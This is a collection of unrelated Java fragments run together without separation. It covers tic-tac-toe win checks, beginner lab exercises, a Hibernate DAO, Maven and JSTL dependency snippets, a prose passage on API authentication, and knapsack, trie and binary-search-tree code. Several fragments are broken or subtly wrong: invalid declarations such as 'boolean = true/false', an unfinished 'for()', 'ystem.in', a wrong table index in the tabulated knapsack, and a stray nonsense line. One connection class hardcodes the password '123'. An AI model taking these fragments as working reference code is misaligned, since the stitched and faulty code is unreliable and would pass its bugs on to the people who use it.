				 (buttons[0].getText()=="X") &&
				 (buttons[4].getText()=="X") &&
				 (buttons[8].getText()=="X")
				 ) {
			 xWins(0,4,8);
		 }
		 if(
				 (buttons[2].getText()=="X") &&
				 (buttons[4].getText()=="X") &&
				 (buttons[6].getText()=="X")
				 ) {
			 xWins(2,4,6);
		 }
		 
		 
		 //check O win conditions
		 if(
				 (buttons[0].getText()=="O") &&
				 (buttons[1].getText()=="O") &&
				 (buttons[2].getText()=="O")
				 ) {
			 oWins(0,1,2);
		 }
		 if(
				 (buttons[3].getText()=="O") &&
				 (buttons[4].getText()=="O") &&
				 (buttons[5].getText()=="O")
				 ) {
			 oWins(3,4,5);
		 }
		 if(
				 (buttons[6].getText()=="O") &&
				 (buttons[7].getText()=="O") &&
				 (buttons[8].getText()=="O")
				 ) {
			 oWins(6,7,8);
		 }
		 if(
				 (buttons[0].getText()=="O") &&
				 (buttons[3].getText()=="O") &&
				 (buttons[6].getText()=="O")
				 ) {
			 oWins(0,3,6);
		 }
		 if(
				 (buttons[1].getText()=="O") &&
				 (buttons[4].getText()=="O") &&
				 (buttons[7].getText()=="O")
				 ) {
			 oWins(1,4,7);
		 }
		 if(
				 (buttons[2].getText()=="O") &&
				 (buttons[5].getText()=="O") &&
				 (buttons[8].getText()=="O")
				 ) {
			 oWins(2,5,8);
		 }
		 if(
				 (buttons[0].getText()=="O") &&
				 (buttons[4].getText()=="O") &&
				 (buttons[8].getText()=="O")
				 ) {
			 oWins(0,4,8);
		 }
		 if(
				 (buttons[2].getText()=="O") &&
				 (buttons[4].getText()=="O") &&
				 (buttons[6].getText()=="O")
				 ) {
			 oWins(2,4,6);
		 }
		 
	 }
	 
	 public void xWins(int a, int b, int c) {
		 
		 buttons[a].setBackground(Color.GREEN);
	     buttons[b].setBackground(Color.GREEN);
	     buttons[c].setBackground(Color.GREEN);
	        
	     for(int i=0;i<9;i++) {
	    	 buttons[i].setEnabled(false);
	    	 }
	        textfield.setText("X wins");
	    }
		 
	 public void oWins(int a, int b, int c) {
		 
		 buttons[a].setBackground(Color.GREEN);
	     buttons[b].setBackground(Color.GREEN);
	     buttons[c].setBackground(Color.GREEN);
	        
	     for(int i=0;i<9;i++) {
	    	 buttons[i].setEnabled(false);
	    	 }
	        textfield.setText("O wins");
	    }
		 
		 
	 }

package com.mycompany.converttemperature;

import java.util.Scanner;
public class ConvertTemperature {

    public static void main(String[] args) {
        
    // Question 5. Write a program to convert a temperature given in degree Fahrenheit to degree Celsius.
    //    Hint use oC=5/9 *(oF-32)
    
    
        Scanner scanner = new Scanner(System.in);
        
        System.out.println("Enter degree of Fahrenheit: ");
        double Fahrenheit = scanner.nextDouble();
        
      
        double Celsius = 5.0/9 * (Fahrenheit - 32);
        System.out.println("The degree of Celsius is:- "+Celsius);
      
      //now you will get double number when you write one of them double division. like 5.0/9 * ( F - 32);
        
     
    }
}

package com.mycompany.currenttime;


public class Currenttime {

    public static void main(String[] args) {
        
    //4.  Write a program that will tell the current time.
    //   Hint use System.currentTimemillis() to get the total number of seconds

        long currentTimemillis = System.currentTimeMillis();
        long totalseconds = currentTimemillis / 1000;
        long secondsnow = totalseconds % 60;
        long totalminutes = totalseconds / 60;
        long minutesnow = totalminutes % 60;
        long totalhours = totalminutes / 60;
        long hoursnow = totalhours % 24;
        
        System.out.println("The current time is: " + hoursnow + ":" +minutesnow + ":" + secondsnow );
        
        
    }
}

import java.util.Scanner;

public class Dayafter100 {

    public static void main(String[] args) {
        
    //3. Write a program that will find the day after 100 days from today.
    //   Hint: count from 1 starting from Monday, use modulo operator
        
        int dayNow = 27;
        //int daysAfter = 100;
        
        Scanner scanner = new Scanner(System.in);
        System.out.println("Please Enter daysAfter: ");
        int daysAfter = scanner.nextInt();
        
        int dayAfter100 = (daysAfter + dayNow)%7;
        
        if (dayAfter100 == 1)
        {
            System.out.println("The day in 100 will be Monday. ");
        }
        if (dayAfter100 == 2)
        {
            System.out.println("The day in 100 will be Tuesday. ");
        }
        if (dayAfter100 == 3)
        {
            System.out.println("The day in 100 will be Wendsday. ");
        }
        if (dayAfter100 == 4)
        {
            System.out.println("The day in 100 will be Thursday. ");
        }
        if (dayAfter100 == 5)
        {
            System.out.println("The day in 100 will be Friday. ");
        }
        if (dayAfter100 == 6)
        {
            System.out.println("The day in 100 will be Saturday. ");
        }
        if (dayAfter100 == 7)
        {
            System.out.println("The day in 100 will be Sunday. ");
        }
        
        
    }
}

package com.mycompany.areaofcircle;

//import java.util.Scanner;
public class Areaofcircle {
    
    //Lab 2,   Question 2.

    public static void main(String[] args) {
        
        // Question 2.	Translate the following algorithm into Java code:
        
//   Step 1: Declare a double variable named miles with initial value 100.
//   Step 2: Declare a double constant named KILOMETERS_PER_MILE with value 1.609.
//   Step 3: Declare a double variable named kilometers, multiply miles and KILOMETERS_PER_MILE, and assign the result to kilometers. 
//   Step 4: Display kilometers to the console. 
//   What is kilometers after Step 4?

        
        double miles = 100;
        final double KILOMETERS_PER_MILE = 1.609;
        double kilometers;
        
        kilometers = miles * KILOMETERS_PER_MILE;
        
        System.out.println("kilometers is: "+kilometers);
        
        
    }
}

package com.mycompany.areaofcircle;

import java.util.Scanner;
public class Areaofcircle {
    
    //Lab 2,   Question 1.

    public static void main(String[] args) {
        //required variables:- radius, pi
        //pi is constant= 3.14
        
//input step.        
        final double pi = 3.14;
        
        //ask user to enter radius number.
        Scanner read = new Scanner(System.in);
        System.out.println("Enter the radius of the circle: ");
        double radius = read.nextDouble();
        
//procesing step.
        double area = pi*radius*radius;
        
        System.out.println("The area of circle is "+area);
        
        
    }
}

package net.javaguides.hibernate.dao;

import org.hibernate.Session;
import org.hibernate.Transaction;

import net.javaguides.hibernate.entity.Instructor;
import net.javaguides.hibernate.util.HibernateUtil;

public class InstructorDao {
    public void saveInstructor(Instructor instructor) {
        Transaction transaction = null;
        try (Session session = HibernateUtil.getSessionFactory().openSession()) {
            // start a transaction
            transaction = session.beginTransaction();
            // save the student object
            session.save(instructor);
            // commit transaction
            transaction.commit();
        } catch (Exception e) {
            if (transaction != null) {
                transaction.rollback();
            }
            e.printStackTrace();
        }
    }

    public void updateInstructor(Instructor instructor) {
        Transaction transaction = null;
        try (Session session = HibernateUtil.getSessionFactory().openSession()) {
            // start a transaction
            transaction = session.beginTransaction();
            // save the student object
            session.update(instructor);
            // commit transaction
            transaction.commit();
        } catch (Exception e) {
            if (transaction != null) {
                transaction.rollback();
            }
            e.printStackTrace();
        }
    }

    public void deleteInstructor(int id) {

        Transaction transaction = null;
        try (Session session = HibernateUtil.getSessionFactory().openSession()) {
            // start a transaction
            transaction = session.beginTransaction();

            // Delete a instructor object
            Instructor instructor = session.get(Instructor.class, id);
            if (instructor != null) {
                session.delete(instructor);
                System.out.println("instructor is deleted");
            }

            // commit transaction
            transaction.commit();
        } catch (Exception e) {
            if (transaction != null) {
                transaction.rollback();
            }
            e.printStackTrace();
        }
    }

    public Instructor getInstructor(int id) {

        Transaction transaction = null;
        Instructor instructor = null;
        try (Session session = HibernateUtil.getSessionFactory().openSession()) {
            // start a transaction
            transaction = session.beginTransaction();
            // get an instructor object
            instructor = session.get(Instructor.class, id);
            // commit transaction
            transaction.commit();
        } catch (Exception e) {
            if (transaction != null) {
                transaction.rollback();
            }
            e.printStackTrace();
        }
        return instructor;
    }
}

// 
@Id
 @GenericGenerator(name = "generator", strategy = "guid", parameters = {})
 @GeneratedValue(generator = "generator")
 @Column(name = "APPLICATION_ID" , columnDefinition="uniqueidentifier")
 private String id;

//hibernate import 
<dependency>
    <groupId>org.hibernate</groupId>
    <artifactId>hibernate-core-jakarta</artifactId>
    <version>5.6.10.Final</version>
</dependency>
<dependency>
    <groupId>jakarta.persistence</groupId>
    <artifactId>jakarta.persistence-api</artifactId>
    <version>3.1.0</version>
</dependency>\

//
<dependency>
            <groupId>org.hibernate.orm</groupId>
            <artifactId>hibernate-core</artifactId>
            <version>6.0.0.Final</version>
        </dependency>
        <dependency>
            <groupId>org.glassfish.jaxb</groupId>
            <artifactId>jaxb-runtime</artifactId>
            <version>3.0.2</version>
        </dependency>
//JSTL
<dependency>
    <groupId>jakarta.servlet.jsp.jstl</groupId>
    <artifactId>jakarta.servlet.jsp.jstl-api</artifactId>
    <version>2.0.0</version>
</dependency>
<dependency>
    <groupId>org.glassfish.web</groupId>
    <artifactId>jakarta.servlet.jsp.jstl</artifactId>
    <version>2.0.0</version>
</dependency>
//Lombox


<dependency>
    <groupId>org.projectlombok</groupId>
    <artifactId>lombok</artifactId>
    <version>1.18.24</version>
    <scope>provided</scope>
</dependency>

//MSSQL JDBC
<dependency>
    <groupId>com.microsoft.sqlserver</groupId>
    <artifactId>mssql-jdbc</artifactId>
    <version>9.4.1.jre16</version>
</dependency>

//MySQL
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.31</version>
</dependency>
///JPA
<dependency>
    <groupId>org.springframework.data</groupId>
    <artifactId>spring-data-jpa</artifactId>
    <version>2.7.0</version>
</dependency>


//Spring Validator
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-validation</artifactId>
</dependency>
//Loop - JSTL
<%@ taglib prefix = "c" uri = "http://java.sun.com/jsp/jstl/core" %>
  
  //Form - JSTL
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form" %>

import java.util.Scanner;

public class FirstPrograming {
    public static void main(String[] args) {
        
        System.out.println("welcome java programing: ");
        
        Scanner scanner = new Scanner(System.in);
        
        System.out.println("Enter number one: ");
        int numOne = scanner.nextInt();
        System.out.println("Enter number Two: ");
        int numTwo = scanner.nextInt();
        System.out.println("Enter number three: ");
        int numThree = scanner.nextInt();
        
        int sum= numOne+numTwo-numThree;
        
        System.out.println("sum of two numbers is: " +sum);
        
    }
}

import java.util.Scanner;

public class Main {
    public static void main(String[] args) {
        
        Scanner scanner = new Scanner(System.in);
        
        
        System.out.println("what is your name: ");
        String name = scanner.nextLine();
        System.out.println("how old are you: ");
        int age = scanner.nextInt();
        
        scanner.nextLine();
        System.out.println("what is your favorite food: ");
        String food = scanner.nextLine();
        
        
        System.out.println("hello "+name);
        System.out.println("you are "+age+" years old.");
        System.out.println("you like "+food);
    }
}

public class FirstPrograming {
    public static void main(String[] args) {
        
        String x = "mother";
        String y= "father";
        String temp;
        
        temp=x;
        x=y;
        y=temp;
        
        System.out.println("x: "+x);
        System.out.println("y: "+y);
    }
}

public class FirstPrograming {
  public static void main(string[] args) {
    System.out.println("hello world.");
    
    byte age = 30;
    long viesCount = 3_123_456_789L;
    float price = 10.99F;
    char letter = 'A';
    boolean = true/false;
  }
  
}

import java.util.Scanner;



public class Main{
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        System.out.print("Enter Your Number : ");
        int n = in.nextInt();
        System.out.println("Your number is : " +  ArmStrong(n));
        
        
    }
    static boolean ArmStrong(int n){
        int sum = 0;
        int num = n;
        while(n>0){
            int lastdig = n%10;
            sum  = sum+lastdig*lastdig*lastdig;
            n=n/10;
        }
        if(sum==num){
            return true;
        }
        else{
            return false;
        }
    }
    

    

}

import java.util.Scanner;



public class Main{
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        System.out.print("Enter Your Number : ");
        int n = in.nextInt();
        System.out.println("Your Given Number :" +isPrime(n));
        
    }

    static Boolean isPrime(int n){
        if(n<=1){
            return false;
        }
        int c = 2;
        while(c*c<=n){
            if(n%c==0){
                return false;
            }
            c++;
        }
        if(c*c > n){
            return true;
        }else{
            return false;
        }

    }

}

public class mayank {
    public static void main(String[] args) {
        System.out.println("Enter the numbers");
        Scanner sc =new Scanner(System.in);
        int a = sc.nextInt();
        int b= sc.nextInt();
        int gcd=0;
        for (int i=1;i<=a || i<=b;i++){
            if (a%i ==0 && b%i==0){
                gcd = i;
            }
        }
        int lcm = (a*b) /gcd;
        System.out.println(lcm);

        /*int hcf=0;
        for (int i =1;i<=a||i<=b;i++){
            if(a%i==0 && b%i==0){
                hcf =i;
            }

        }
        System.out.println(hcf);*/
    }
}

class Sample 
{int a;
	{
		System.out.println("Inside Non-static/Instance block");
		a=100;
	}
	Sample()
		{
			System.out.println("Inside Constructors"+  a);
			a = 2000;
			System.out.println("Hello World!"+a);
		}
	Sample(boolean x)
		{
			System.out.println("Inside Constru"+a);
			a=3000;
			System.out.println("Hello World!"+a);
		}

	public static void main(String[] args) 
	{
		System.out.println("Start");
		Sample s1 = new Sample();
		Sample s2 = new Sample(true);
		System.out.println("Stop");

	}
}

import java.util.Scanner;

public class Main{
  public static void main(String[] args) {
    int ans = sum2();
    System.out.println("Your Answer = "+ans);
    
  }

    static int sum2(){
        Scanner in = new Scanner(System.in);
        System.out.print("Enter Number 1 : ");
        int num1 = in.nextInt();
        System.out.print("Enter Number 2 : ");
        int num2 = in.nextInt();

        int sum = num1+num2;
        return sum;
    }
}    

import java.util.Scanner;

public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    System.out.print("Enter Your Year : ");
    int n = in.nextInt();
    
    if(n%100==0){
      if(n%400==0){
        System.out.println("Its Leap/Century Year");
      }
      else{
        System.out.println("Not a Leap year");
      }
    }else if(n%4==0){
      System.out.println("Its a Leap Year");
    }
    else{
      System.out.println("Not a leap year");
    }
  } 
}

import java.util.Scanner;

public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    System.out.println("Enter Your Number");
    int n = in.nextInt();
    int sum = 0;
    while(n>0){
      int lastdig = n%10;
       sum = sum+lastdig;
       n = n/10;
    }
    System.out.println(sum);
  } 
}

csfsdfd

class Biba
{{
	System.out.println("Hi");
}
Biba()
{
	System.out.println("Inside Constructors");
	
}
Biba(int a)
	{
		System.out.println("Inside Constructors 1");
		System.out.println(a);
	}
	public static void main(String[] args) 
	{
		System.out.println("Start");
		Biba s2 = new Biba();
		//Biba s3 = new Biba(45);
		System.out.println("Stop");

	}
}

import java.util.Scanner;

public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    String name = in.next();
    int size = name.length();
    String word = "";
    for (int i = 0; i < name.length(); i++) {
      char rev = name.charAt(size-i-1); // Index is Zero..... size = 4, i=0, -1 == 3;
      word = word + rev;
    }
    System.out.println(word);
  } 
}

import java.util.Scanner;
//To find Armstrong Number between two given number.
public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    //input
    int sum = 0;
    System.out.println("Enter Your Number");
    int n = in.nextInt();
    int input = n;

    while(n>0){
     int lastdig = n%10; //To get the last Dig;
      sum = sum + lastdig*lastdig*lastdig;
      n = n/10;   //removes last dig from number;
    }
    if(input==sum){
      System.out.println("Number is Armstrong Number :" + input + " : "+ sum);
    }else{
      System.out.println("Number is Not Armstrong Number :" + input + " : "+ sum); 
    }
  } 
}

import java.util.Scanner;
//To find out whether the given String is Palindrome or not.  121 , 1331 
public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    //input
    int sum = 0;
    int lastdig = 0;
    System.out.println("Enter Your Number");
    int n = in.nextInt();
    int input = n;

    while(n>0){
      lastdig = n%10; //To get the last Dig;
      sum = sum*10+lastdig;
      n = n/10;   //removes last dig from number;
    }
    if(input == sum){
      System.out.println("Number is Palindrome : "+ input + " : " + sum);
    }else{
      System.out.println("Number is Not Palindrome : " + input +" : "+ sum);
    }
    
  } 
}

import java.util.Scanner;
//To calculate Fibonacci Series up to n numbers.
public class Main{
  public static void main(String[] args) {
    Scanner in = new Scanner(System.in);
    //input
    System.out.print("Enter Your Number :");
    int n = in.nextInt();
    // 0 1 1 2 3 5 8 13

    int a = 0;
    int b = 1;
    int count = 2;
    while(count<n){
      int temp = b;
      b = a+b;
      a = temp;
      count++;
    }
    System.out.println(b);
  } 
}

Button myButton = findViewById(R.id.my_button);
myButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View view) {
        doSomething();
    }
});

private void doSomething() {
    // Do something when the button is clicked
}

package database;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class OracleConnection{

    public static Connection getConnection()
    {
         Connection myConnection = null;
         String userName, password, service, url;

         userName = "vehiculefleetdb" ;
         password = "123" ;
         service = "localhost" ;

         url = "jdbc:oracle:thin:";

        try {

                myConnection = DriverManager.getConnection(url + userName + "/" + password + "@" + service);
                 System.out.println(" Connection successfull");

        } catch (SQLException ex) {
              ex.printStackTrace();
                  System.out.println(" Connection failed  ");
        }

        return myConnection;
    }


}

package bus ;

import java.io.Serializable;

public class Vehicule implements IMileageEfficiency, Serializable{


	private static final long serialVersionUID = 1L;
	double ME;
	double serialNumber;
	String made;
	String model;
	String color;
	int lenghtInFeet;
	protected int tripCounter;
	double energyConsumed;
	String eSuffix;

	Vehicule(double serialNumber, String made, String model, String color,
			 int lenghtInFeet, int tripCounter, String eSuffix){
		ME = 0;
		this.tripCounter = tripCounter;
		energyConsumed = 0;
		this.serialNumber = serialNumber;
		this.made = made;
		this.model = model;
		this.color = color;
		this.lenghtInFeet = lenghtInFeet;
		this.eSuffix = eSuffix;
		
	};
	
	public double getSN() {
		return this.serialNumber;
	}
	
	public double getMilePerUnitOfEnergy() {
		if (energyConsumed == 0) {
			return 0;
		}else {
		ME = this.tripCounter/this.energyConsumed;
		return ME;
		}
	}
	
	public void makeTrip(int tripCounter, double energyConsumed) {
		this.energyConsumed = energyConsumed;
		this.tripCounter = tripCounter;
		
	}

System.out.printf("--------------------------------%n");
System.out.printf(" Java's Primitive Types         %n");
System.out.printf(" (printf table example)         %n");

System.out.printf("--------------------------------%n");
System.out.printf("| %-10s | %-8s | %4s |%n", "CATEGORY", "NAME", "BITS");
System.out.printf("--------------------------------%n");

System.out.printf("| %-10s | %-8s | %04d |%n", "Floating", "double",  64);
System.out.printf("| %-10s | %-8s | %04d |%n", "Floating", "float",   32);
System.out.printf("| %-10s | %-8s | %04d |%n", "Integral", "long",    64);
System.out.printf("| %-10s | %-8s | %04d |%n", "Integral", "int",     32);
System.out.printf("| %-10s | %-8s | %04d |%n", "Integral", "char",    16);
System.out.printf("| %-10s | %-8s | %04d |%n", "Integral", "short",   16);
System.out.printf("| %-10s | %-8s | %04d |%n", "Integral", "byte",    8);
System.out.printf("| %-10s | %-8s | %04d |%n", "Boolean",  "boolean", 1);

System.out.printf("--------------------------------%n");

[/* package whatever; // don't place package name! */

import java.util.*;
import java.lang.*;
import java.io.*;

/* Name of the class has to be "Main" only if the class is public. */
class Ideone
{
	public static void main (String[] args) throws java.lang.Exception
	{
		
		int x=add(1,2,3,4,5);
		System.out.println(x);
		// your code goes here
	}
	public static int add(int ...args)
	{
		int ans=0;
		for(int x:args)
		{
			ans+=x;
		}
		return ans;
	}
}]

Step 3: Authentication
Next, we will move on to API authentication methods. API authentication aims to check and verify if the user making the request is who they claim to be. The API authentication process will first validate the identity of the client attempting to make a connection by using an authentication protocol. The credentials from the client requesting the connection is sent over to the server in either plain text or encrypted form. The server checks that the credentials are correct before granting the request. The system needs to ensure each end user is properly validated. This is to ensure that the right user is accessing the service and not someone without the right access who might be an attacker trying to hack into the system.

HTTP Basic Authentication
Different API systems use different methods of authentication. First, we have HTTP basic authentication. This method of authentication makes use of a username and password that is put into the Authorization header of an API request. It is recommended to use this method of authentication through hypertext transfer protocol secure (HTTPS) so that the connection between the client and server is encrypted.

Bearer Authentication
Another method of authentication is Bearer Authentication. A token is used to authenticate and authorize a user request. The token is usually given to the user by the server after the user has authenticated through a login or verification method. The token is then put into the Authorization header of an API request. The issued tokens are short-lived and expire at some point. 

API Keys
Authentication with API keys is similar to Bearer Authentication. However, in the case of API keys, the keys are obtained by the user instead of issued by the server for bearer authentication. API keys do not have an expiry date and are usually provided by API vendors or through creating an account. Most APIs accept API keys via HTTP request headers. However, as there is no common header field to send the API key, it would be easier to consult the API vendor or refer to the appropriate documentation for the correct use of the API key when sending an API request. For this campaign, Circle uses the API key authentication method.

No Authentication
There are also some API systems where you can submit an API request without any authentication. Anyone can simply make a request to the specific URL and get a response without a token or API key. This method of authentication is not recommended and is usually used either for testing or for in-house premises.

  public static boolean isNotNullAll(Object... objects){
    for (Object element:
         objects) {
      if (Objects.isNull(element)) return false;
      if (element instanceof String){
        String temp = (String) element;
        if (temp.trim().isEmpty()) return false;
      }
    }
    return true;
  }

public class ZeroOneKnapsack {
    public static int zerOneKnapsack(int[] val, int[] wt, int w, int i){
        if(w==0 || i==0) return 0;
        if(wt[i-1]<=w){
            int ans1= val[i-1]+zerOneKnapsack(val,wt,w-wt[i-1],i-1);
            int ans2= zerOneKnapsack(val,wt,w,i-1);
            return Math.max(ans1,ans2);
        }
        else return zerOneKnapsack(val,wt,w,i-1);
    }

    public static int memoZerOneKnapsack(int[] val, int[]wt, int w,int i, int[][] arr){
        if(w==0 || i==0){
            return 0;
        }
        if(arr[i][w]!=-1){
            return arr[i][w];
        }
        if(wt[i-1]<=w){
            int ans1= val[i-1]+memoZerOneKnapsack(val,wt,w-wt[i-1],i-1,arr);
            int ans2= memoZerOneKnapsack(val,wt,w,i-1,arr);
            arr[i][w]= Math.max(ans1,ans2);
        }
        else {
           arr[i][w]= memoZerOneKnapsack(val, wt, w, i - 1, arr);
        }
        return arr[i][w];
    }//all elements of table must be initialised with -1's.

    public static int tabZeroOneKnapsack(int[] val, int[] wt, int w){
        int n= val.length;
        int[][] dp =new int[n+1][w+1];
        for (int i = 0; i < n+1; i++) dp[i][0]=0;
        for(int i=0;i<w+1;i++) dp[0][i]=0;
        for (int i = 1; i < n+1; i++) {
            for (int j = 1; j < w+1; j++) {
                int v=val[i-1];
                int weight=wt[i-1];
                if(weight<=j){
                    int incProfit=v+dp[i-1][j-weight];
                    int excProfit=dp[i-1][j];
                    dp[i][j]=Math.max(incProfit,excProfit);
                } else{
                    dp[i][j]=dp[i-1][weight];
                }
            }
        }
        return dp[n][w];
    }

    public static void main(String[] args){
        int[] val={15,14,10,45,30};
        int[] wt={2,5,1,3,4};
        int w=7;
        System.out.println(zerOneKnapsack(val,wt,w,val.length));
        int[][] arr=new int[val.length+1][w+1]; // for memoZeroKnapsack
        for (int i = 0; i < arr.length; i++) {
            for (int j = 0; j < arr[0].length; j++) {
                arr[i][j]=-1;
            }
        }
        System.out.println(memoZerOneKnapsack(val,wt,w,val.length,arr));
    }
}

src/main/java
    +- com
        +- example
            +- Application.java
            +- ApplicationConstants.java
                +- configuration
                |   +- ApplicationConfiguration.java
                +- controller
                |   +- ApplicationController.java
                +- dao
                |   +- impl
                |   |   +- ApplicationDaoImpl.java
                |   +- ApplicationDao.java
                +- dto
                |   +- ApplicationDto.java
                +- service
                |   +- impl
                |   |   +- ApplicationServiceImpl.java
                |   +- ApplicationService.java
                +- util
                |   +- ApplicationUtils.java
                +- validation
                |   +- impl
                |   |   +- ApplicationValidationImpl.java
                |   +- ApplicationValidation.java

@Override
    public boolean equals(Object o) {
        if (o == this)
            return true;
        if (!(o instanceof WrongVoucher))
            return false;
        WrongVoucher other = (WrongVoucher)o;
        boolean currencyCodeEquals = (this.currencyCode == null && other.currencyCode == null)
                || (this.currencyCode != null && this.currencyCode.equals(other.currencyCode));
        boolean storeEquals = (this.store == null && other.store == null)
                || (this.store != null && this.store.equals(other.store));
        return this.amount == other.amount && currencyCodeEquals && storeEquals;
    }

package com.company;
import java.util.Scanner;

public class CWH_05_TakingInpu {
    public static void main(String[] args) {
        System.out.println("Taking Input From the User");
        Scanner sc = new Scanner(System.in);
//        System.out.println("Enter number 1");
//        int a = sc.nextInt();
//        float a = sc.nextFloat();
//        System.out.println("Enter number 2");
//        int b = sc.nextInt();
//        float b = sc.nextFloat();

//        int sum = a +b;
//        float sum = a +b;
//        System.out.println("The sum of these numbers is");
//        System.out.println(sum);
//        boolean b1 = sc.hasNextInt();
//        System.out.println(b1);
//        String str = sc.next();
        String str = sc.nextLine();
        System.out.println(str);

    }
}

Scanner S = new Scanner(System.in);  //(Read from the keyboard)
int a = S.nextInt();  //(Method to read from the keyboard)

import java.util.Scanner;  // Importing  the Scanner class
Scanner sc = new Scanner(System.in);  //Creating an object named "sc" of the Scanner class.

  public static void setData(Object object){
    for (Field field : object.getClass().getDeclaredFields()) {
      field.setAccessible(true);
      try {
        String value = String.valueOf(field.get(object));
        if ("null".equals(value)){
          field.set(object, "test");
        }
      } catch (Exception e) {
        throw new RuntimeException(e);
      }
    }
  }

  public static void setData(Object object){
    for (Field field : object.getClass().getDeclaredFields()) {
      field.setAccessible(true);
      try {
        String value = String.valueOf(field.get(object));
        if ("null".equals(value)){
          field.set(object, "test");
        }
      } catch (Exception e) {
        throw new RuntimeException(e);
      }
    }
  }

public class Word {
    private char[] tab;
    private int pole = 0;

    public Word() {
        tab = new char[100];
        for (int i = 0; i < tab.length; ++i) {
            tab[i] = 0;
        }
    }

    public void addChar(char add) {
        tab[pole] = add;
        pole++;
    }

    public void show() {
        for (int i = 0; i < tab.length; ++i) {
            if (tab[i] == 0) {
                break;
            } else {
                System.out.print(tab[i] + " ");
            }
        }
    }

    public int length(){
        int k=0;
        for(int i=0; i <= tab.length; i++){
            if(tab[i] == 0)
                break;
            else{
                k++;
            }
        }
        return k;
    }
}

public class PrefixProblem {
    static class Node {
        Node[] children = new Node[26];
        boolean endOfWord = false;
        int freq;

        Node() {
            for (int i = 0; i < 26; i++) children[i] = null;
            freq=1;
        }
    }

    public static Node root = new Node();

    public static void insert(String key){
        Node curr=root;
        for(int i=0;i<key.length();i++){
            int idx=key.charAt(i)-'a';
            if(curr.children[idx]==null){
                curr.children[idx]=new Node();
            }
            else curr.children[idx].freq++;
            curr=curr.children[idx];
        }
        curr.endOfWord=true;
    }

    public static void findPrefix(Node root, String ans){
        if(root==null) return;
        if(root.freq == 1) {
            System.out.print(ans + " ");
            return;
        }
        for(int i=0;i<26;i++){
            if(root.children[i]!=null){
                findPrefix(root.children[i], ans+(char)(i+'a'));
            }
        }
    }


    public static void main(String[] args){
        String[] words={"zebra","dog","duck","dove"};
        for (String word : words) insert(word);
        root.freq=-1;
        findPrefix(root,"");
    }
}

public class Tries {
    static class Node {
        Node[] children = new Node[26];
        boolean endOfWord = false;

        Node() {
            for (int i = 0; i < 26; i++) children[i] = null;
        }
    }

    public static Node root = new Node();

    public static void insert(String word) {
        Node curr = root;
        for (int level = 0; level < word.length(); level++) {
            int idx = word.charAt(level) - 'a';
            if (curr.children[idx] == null) {
                curr.children[idx] = new Node();
            }
            curr = curr.children[idx];
        }
        curr.endOfWord = true;
    }

    public static boolean search(String key) {
        Node curr = root;
        for (int i = 0; i < key.length(); i++) {
            int idx = key.charAt(i) - 'a';
            if (curr.children[idx] == null) return false;
            curr = curr.children[idx];
        }
        return curr.endOfWord;
    }

    public static boolean stringBreak(String key) {
        if(key.length()==0) return true;
        for (int i = 1; i <= key.length(); i++) {
            String word1=key.substring(0,i);
            String word2=key.substring(i);
            if(search(word1) && stringBreak(word2)){
                return true;
            }
        }
        return false;
    }


    public static int countSubstrings(String word){
        for(int i=0;i<word.length();i++){
            insert(word.substring(i));
        }
        return countNodes(root);
    }
    public static int countNodes(Node root){
        if(root==null) return 0;
        int count=0;
        for(int i=0;i<26;i++){
            if(root.children[i]!=null){
                count+=countNodes(root.children[i]);
            }
        }
        return count+1;
    }

    public static String longestWord(String[] words){
        String str="";
        for (String word : words) insert(word);

        return str;
    }
    public static boolean isPresent(String word){
        for()
    }



    public static void main(String[] args) {
        String[] words = {"the", "there", "a", "any", "their", "i", "sam", "samsung","like"};
//        for (String word : words) {
//            insert(word);
//        }

    }
}

interface Language {
  public void getType();
  public void getVersion();
}

 BufferedReader in
   = new BufferedReader(new FileReader("foo.in"));
 

Scanner sc = new Scanner(ystem.in);    
sc.useLocale(Locale.ENGLISH);

List<Integer> numbers = new ArrayList<Integer>(
    Arrays.asList(5,3,1,2,9,5,0,7)
);

List<Integer> head = numbers.subList(0, 4);
List<Integer> tail = numbers.subList(4, 8);
System.out.println(head); // prints "[5, 3, 1, 2]"
System.out.println(tail); // prints "[9, 5, 0, 7]"

Collections.sort(head);
System.out.println(numbers); // prints "[1, 2, 3, 5, 9, 5, 0, 7]"

tail.add(-1);
System.out.println(numbers); // prints "[1, 2, 3, 5, 9, 5, 0, 7, -1]"

import java.util.ArrayList;

public class BST extends Trees{
    static ArrayList<Integer> arr=new ArrayList<>();
    public static node insert(int val, node root){
        if(root==null){
            root=new node(val);
            return root;
        }
        if(val<root.data)
            root.left=insert(val,root.left);
        else
            root.right = insert(val,root.right);
        return root;
    }

    public static void inorder(node root){
        if(root==null) return;
        inorder(root.left);
        System.out.print(root.data +" ");
        inorder(root.right);
    }

    public static boolean find(node root, int val){
        if(root==null) return false;
        if(root.data==val) return true;
        if(val> root.data) return find(root.right,val);
        else return find(root.left,val);
    }

    public static node delete(node root, int val){
        if (root.data < val) root.right=delete(root.right,val);
        else if(root.data > val) root.left=delete(root.left,val);
        else {
            if(root.left==null && root.right==null){
                return null;
            }
            if(root.left==null) return root.right;
            else if(root.right==null) return root.left;
            else{
                node inorderSuccessor=findInorderSuccessor(root.right);
                root.data=inorderSuccessor.data;
                root.right=delete(root.right,inorderSuccessor.data);
            }
        }
        return  root;
    }
    public static node findInorderSuccessor(node root){
        while(root.left!=null){
            root=root.left;
        }
        return root;
    }

    public static void printInRange(node root, int k1, int k2){
        if(root==null) return ;
        if(root.data>=k1 && root.data<=k2){
            printInRange(root.left,k1,k2);
            System.out.print(root.data+" ");
            printInRange(root.right,k1,k2);
        }
        else if(root.data<k1) printInRange(root.right,k1,k2);
        else printInRange(root.left,k1,k2);
    }

    public static void printRoot2Leaf(node root, ArrayList<Integer> path){
        if(root==null) return;
        path.add(root.data);
        if(root.left==null && root.right==null)
            System.out.println(path);
        printRoot2Leaf(root.left,path);
        printRoot2Leaf(root.right,path);
